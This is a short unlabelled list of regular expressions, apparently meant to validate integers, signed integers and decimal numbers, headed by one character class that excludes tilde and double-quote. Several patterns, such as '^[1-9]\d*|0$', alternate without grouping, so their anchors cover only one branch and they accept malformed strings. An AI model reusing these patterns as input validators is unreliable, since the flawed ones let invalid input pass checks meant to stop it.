[^~\x22]+

^-?[1-9]\d*$

^[1-9]\d*$

^-[1-9]\d*$

^[1-9]\d*|0$

^-[1-9]\d*|0$

^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$

^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$

^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$

^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$

^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$